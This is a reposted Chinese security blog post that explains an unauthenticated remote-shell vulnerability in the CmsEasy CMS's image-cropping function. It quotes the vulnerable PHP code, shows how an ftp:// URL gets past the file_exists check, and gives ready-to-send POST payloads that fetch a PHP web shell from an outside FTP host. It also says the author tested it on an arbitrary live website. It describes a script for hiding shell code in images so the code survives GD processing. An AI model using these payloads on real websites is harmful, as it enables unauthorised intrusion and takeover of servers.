CmsEasy前台无限制GetShell

2019-04-04 约 212 字 预计阅读 1 分钟

声明:本文 【CmsEasy前台无限制GetShell】 由作者 索马里的海贼 于 2016-11-02 05:09:00 首发 先知社区 曾经 浏览数 37380 次

感谢 索马里的海贼 的辛苦付出!

简要描述

官方在2016-10-12版本修复了此漏洞,修复的比较。。。暴力 直接注释了cut_image_action函数。。。
所以基本上有心的人随便瞅一眼官方公告diff一下文件内容就能找到这个漏洞 也就不藏着掖着了

漏洞详情

lib/default/tool_act.php 行392

function cut_image_action() {
        $len = 1;
        if(config::get('base_url') != '/'){
                $len = strlen(config::get('base_url'))+1;
        }
        if(substr($_POST['pic'],0,4) == 'http'){
                front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
        }else{
                front::$post['thumb'] = substr($_POST['pic'],$len);
        }

        $thumb=new thumb();
        $thumb->set(front::$post['thumb'],'jpg');
        $img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);
        $new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
        $save_file='upload/images/'.date('Ym').'/'.$new_name;
        @mkdir(dirname(ROOT.'/'.$save_file));
        ob_start();
        $thumb->out_image($img,null,85);
        file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
        ob_end_clean();
        $image_url=config::get('base_url').'/'.$save_file;
        //$res['size']=ceil(strlen($img) / 1024);
        $res['code']="
                 //$('#cut_preview').attr('src','$image_url');
                 $('#thumb').val('$image_url');
                                 alert(lang('save_success'));
                ";
        echo json::encode($res);
    }

没有判断pic的后缀就直接取了

$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));

做为文件名字 导致getshell
此处的坑是

  1. 需要过ImageCreateFromxxxImageCopyResampledImageJpeg 3个函数 任然保留shell语句
  2. 需要通过file_exists函数的验证

第一个坑就不说怎么绕过的了 各种fuzz就是了
第二个坑
file_exists并不能判断远程http(s)文件是否存在 固定返回false
查阅manual得知

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

查了下各种封装协议wrappers发现了 ftp:// 支持 stat();

Attribute PHP4 PHP5
Supports stat() No As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only.
--- --- As of PHP 5.1.0: filemtime().

5.0.0以上 就支持file_exists()了
接下来就是根据要求构造payload

$len = 1;
if(config::get('base_url') != '/'){
    $len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
    front::$post['thumb'] =             str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
    front::$post['thumb'] = substr($_POST['pic'],$len);
}

如果站点不是放在根目录 则需要在payload前面补足 strlen(base_url)+2 位的长度 如果在根目录也要补1
POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

本地测试截图

互联网随便找了个站

2016-11-08补充

不少人私聊问我怎么构造过GD库的图片shell,就把我自己用的脚本放出来吧,注释里面什么都有

$miniPayload改成shell语句
1、上传一张jpg图片,然后把网站处理完的图片再下回来 比如x.jpg
2、执行php jpg_payload.php x.jpg
3、如果没出错的话,新生成的文件就是可以过gd库的带shell图片了
tips:
1、图片找的稍微大一点 成功率更高
2、shell语句越短成功率越高
3、一张图片不行就换一张 不要死磕

2016-11-09 补充

关于POC的构造说的不太清楚

如果$_POST['pic']开头4个字符不是http的话,就认为是本站的文件,会从前面抽取掉baseurl(等于返回文件相对路径)
所以构造的时候 如果站点不是放在根目录 则需要在前面补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)

举个栗子:
目标站 http://www.target.com/easy/
cmseasy放在easy子目录 就需要补上strlen(base_url)+2 = strlen('easy')+2=6位
post数据就是
pic=111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

目标站 http://www.target2.com/
cmseasy放在web根目录 就需要补上1位
post数据就是
pic=1ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

还有后面的w h x1 x2 y1 y2简单说一下
w=x2=图片宽度
h=y2=图片高度
x1=y1=固定0
根据你自己的图片宽高来改吧

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now